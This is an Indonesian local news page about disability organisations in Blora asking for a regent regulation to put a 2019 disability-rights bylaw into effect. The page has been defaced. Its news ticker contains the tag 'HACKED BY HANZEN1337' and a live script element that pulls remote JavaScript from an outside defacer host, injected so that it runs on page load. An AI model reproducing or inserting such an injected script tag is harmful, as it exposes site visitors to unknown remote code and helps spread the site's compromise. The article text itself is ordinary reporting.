News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Hari Disabilitas Internasional, Difabel Blora Ingin Ada Perbub Perlindungan Disabilitas

Hari Disabilitas Internasional, Difabel Blora Ingin Ada Perbub Perlindungan Disabilitas

Blora - Memperingati Hari Disabilitas Internasional (HDI) 2021, Penyandang Disabilitas Blora Mustika (DBM) menuntut adanya Peraturan Bupati (Perbub) terkait pemenuhan hak dan perlindungan terhadap disabilitas.
 
Saat ini, Kabupaten Blora telah memiliki Perda Nomor 13 tahun 2019 tentang Pemenuhan Hak dan Perlindungan Disabilitas di Kabupaten Blora, namun belum ada Peraturan Bupati (Perbub) untuk pelaksanaan perda tersebut.
 
 
Ketua Disabilitas Blora Mustika (DBM) Abdul Ghofur mengatakan adanya Perbub sangat penting untuk mendukung pemenuhan hak bagi penyandang disabilitas.
 
"Perda itu kan harus diperkuat dengan Perbub. Karena pagu anggaran mengikuti Perbub. Jadi keuntungannya kalau ada Perbub seluruh Organisasi Perangkat Daerah (OPD) harus mengalokasikan anggarannya untuk pemenuhan hak disabilitas. Itu sesuai Undang-undang Nomor 8 tahun 2016," tutur Abdul Ghofur. Jumat (03/12/2021).
 
Ghofur menuturkan ketiadaan Perbub selama ini cukup mempersulit penyandang disabilitas dalam menuntut pemenuhan haknya. Termasuk soal program penganggaran untuk pemberdayaan para penyandang disabilitas.
 
"Saya hanya minta satu saja. Perbub. Tidak lain. Pengalaman selama ini kita kesulitan untuk mendapatkan program anggaran. Alasannya karena belum ada Perbub. Jadi kita minta hadiah itu di HDI tahun ini," tuturnya.
 
 
Lebih jauh Ghofur mengungkapkan bahwa sejak adanya Perda Nomor 13 tahun 2019 tentang pemenuhan hak dan perlindungan disabilitas di Kabupaten Blora, segala bentuk pemenuhan hak penyandang disabilitas belum terakomodir.
 
"Contoh terkait aksesbilitas dankuoata memperkerjakan satu persen bagi penyandang disabilitas, selama ini di Blora belum berjalan. Karena apa, memang harus ada Perbubnya. Kalau tanpa Perbub itu tidak bisa berjalan," katanya.
 
 
Sementara itu, Ketua Perkumpulan Perempuan Difabel (Perdifa) Kabupaten Blora Siti Muntarin mengungkapkan pentingnya Perbub disabilitas, sebab selama ini Perempuan Difabel cukup kesulitan mengakses program penganggaran dari Pemerintah.
 
"Padahal perempuan difabel di Blora ini banyak yang punya bakat. Baik yang membuat kerajinan, makanan, dan menjahit. Tapi kita gak bisa melakukan pemberdayaan karena tidak adanya support anggaran yang berkelanjutan dari pemerintah," tutur .
 
Terlebih, kata Siti, dukungan pemerintah di tingkat bawah baik desa maupun kelurahan terhadap Perdifa juga sangat kurang.
 
"Di tingkat desa dan kelurahan kita juga gak pernah dilibatkan dalam berbagai kegiatan, seperti PKK atau Musdes, padahal kan kita juga ingin menyumbangkan pikiran kita di situ. Tapi nyatanya tidak bisa," kata Siti Muntarin. (teg/imm)
 
 
Reporter: Priyo SPd
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
 
Berita Terkait
1783877106.8049 at start, 1783877107.3704 at end, 0.56552195549011 sec elapsed